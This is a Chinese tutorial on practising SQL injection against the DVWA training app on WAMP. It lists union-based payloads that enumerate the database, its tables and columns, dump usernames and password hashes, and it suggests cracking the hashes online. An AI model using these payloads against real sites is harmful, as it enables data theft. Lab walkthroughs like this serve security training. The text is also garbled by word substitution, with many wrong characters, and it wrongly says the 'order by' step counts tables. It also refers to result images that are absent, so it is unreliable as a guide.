引言
近年来,网络安全问题日益突出,网络安全事件频繁产生,如何增强零碎的安全性变得越来越重要。本文将利用 WAMP+DVWA 平台练习 SQL 注入的攻防。
筹备工作
(1)首先下载好 WAMP
(2)在 WAMP 中配置好 DVWA
进行 SQL 注入
(1)抉择 SQL Injection
(2)将 DVWA Security 的等级设置为 Low
(3)查看有输入框的中央是否存在 SQL 注入
在输入框中输出 1
在输入框中输出 2
在输入框中输出 '(英文状态下的逗号)
通过以上三次输出发现当输出 ’ 发现报错,阐明该输入框存在 SQL 注入破绽
(4)确定该数据库中有多少个表格
1′ order by 1#
1′ order by 2#
1′ order by 3#
顺次输出以上 3 条 SQL 查问语句,发现输出第 3 条 SQL 查问语句时报错,报错信息如下:
从而确定该数据库中有 2 个表
(5)获取该数据库的敏感信息,数据库的名字和用户名
1′ union select database(),user()#
拿到了数据库的信息如下:
(6)结构 payload 语句拿到数据库中表的名称信息
1′ union select table_name,2 from information_schema.tables where table_schema = ‘dvwa’#
从而能够拿到数据库信息如下所示:
(7)结构 payload 语句拿到指定表中列的名称
1′ union select column_name,2 from information_schema.columns where table_schema = ‘dvwa’ and table_name=’users’#
从而拿到了 users 这张表里有那些字段,以及每个字段的名称,具体信息如下所示:
(8)咱们能够获取咱们感兴趣的字段的具体信息,例如咱们想拿到 user 和 password 字段的具体信息,能够结构如下 payload 语句进行获取
1′ union select user,password from users#
从上图能够看出用户名,然而明码是通过加密的,咱们能够应用在线的解密工具对加密的明码进行解密